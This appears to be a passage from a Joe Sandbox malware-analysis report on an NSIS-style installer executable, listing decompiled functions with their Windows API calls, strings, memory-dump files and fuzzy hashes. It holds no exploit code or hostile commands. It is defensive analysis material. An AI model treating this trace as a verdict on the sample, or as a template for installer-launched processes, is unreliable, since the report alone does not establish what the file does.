Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90468eb9bf3c1f3e00f044c7195eeae7ded6c1ef4985fc59ea46c38fcee507d8
Instruction ID: 24cb19e20ea0269922d23406ceb1d71d2baff7de250534ea652b51db9971d4c8
Opcode Fuzzy Hash: 90468eb9bf3c1f3e00f044c7195eeae7ded6c1ef4985fc59ea46c38fcee507d8
Instruction Fuzzy Hash: 2B113A71904008FEEF219F90DE89EAE3B79EB54348F104476FA05B10A0D3B59E51EA69

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 7233f16ba86abf9f30ab0ca362f30c0571f5e64aff198df6ce991b39b1ebc49f
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: 7233f16ba86abf9f30ab0ca362f30c0571f5e64aff198df6ce991b39b1ebc49f
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction ID: 32ea72146a28600a98e99adc179119cd295c2a32732311222b232d5c22eb20b7
Opcode Fuzzy Hash: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction Fuzzy Hash: 8B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405C44 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C6E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C8F
RegCloseKey.ADVAPI32(?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CB2

Strings

Call, xrefs: 00405C47

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 3cd74c106f1fbed165a62e297fbc125935b5083a19d10d34083766567549a8a9
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: 4901083115420AEBEB218F66ED09E9B3FA8EF85354F00402AF915E6260D335D964DBA5

Function 00405A12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405A30
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004031FD,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405A4B

Strings

nsa, xrefs: 00405A1F
C:\Users\user\AppData\Local\Temp\, xrefs: 00405A17, 00405A1B

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction ID: 95f7d282eddd658cc867a71ae78a7f6d6a22d0bd0d4c40af2882d7f7832b811b
Opcode Fuzzy Hash: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction Fuzzy Hash: 68F03676700204BBDB009F55DD45F9F77A8EBD5710F10813AE905F7190E6B0AE548B64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Part of subcall function 004054F2: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
Part of subcall function 004054F2: CloseHandle.KERNEL32(?), ref: 00405524

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 8e7fac8ae1f025a0d1602a8f0f4718163d1cda1f3a438d2d2952dbcc5513a653
Instruction ID: bec0dc1b772bef8e3dfa3c1b84bb43adcf6872ff1fa5701b8d2c68c635bc108f
Opcode Fuzzy Hash: 8e7fac8ae1f025a0d1602a8f0f4718163d1cda1f3a438d2d2952dbcc5513a653
Instruction Fuzzy Hash: 2811A131D04204EBDF109FA0CD859DE7AB5EB04319F204437F501BA1E1C3798982DB9A

Function 004058CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 0040586D: CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 00405923
GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405933

Strings

C:\, xrefs: 004058D0, 004058D5, 004058DB, 0040591C, 00405922, 0040592A, 00405932

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 47f1b0a461492265196efcc5ce18cbe6f25592d9a092f8b828f6d1fc555b0b8e
Instruction ID: 0f7a694044e1ae6067649bf4c27e992d8c5df1d17723ae8105b53f34b172a702
Opcode Fuzzy Hash: 47f1b0a461492265196efcc5ce18cbe6f25592d9a092f8b828f6d1fc555b0b8e
Instruction Fuzzy Hash: BBF0F926204D5155E62132365C05AAF1519CE82724B59893FFC50B12C1DB3C89539C7E

Function 004054F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
CloseHandle.KERNEL32(?), ref: 00405524

Strings

Error launching installer, xrefs: 00405505

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction ID: f26dffa8f28471d2a1f864ee7fcc23407611118f3e7675527ed35a3aab9678e5
Opcode Fuzzy Hash: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction Fuzzy Hash: A2E0ECB4A00209AFDB009F64EC49E6B7BBDEB04304BC08521A914F2290E774E9158A69

Function 004031CB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Fa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\Fa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004031EC

Strings

1033, xrefs: 004031F3
C:\Users\user\AppData\Local\Temp\, xrefs: 004031CC, 004031D1, 004031D7, 004031E3, 004031EB, 004031F2

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
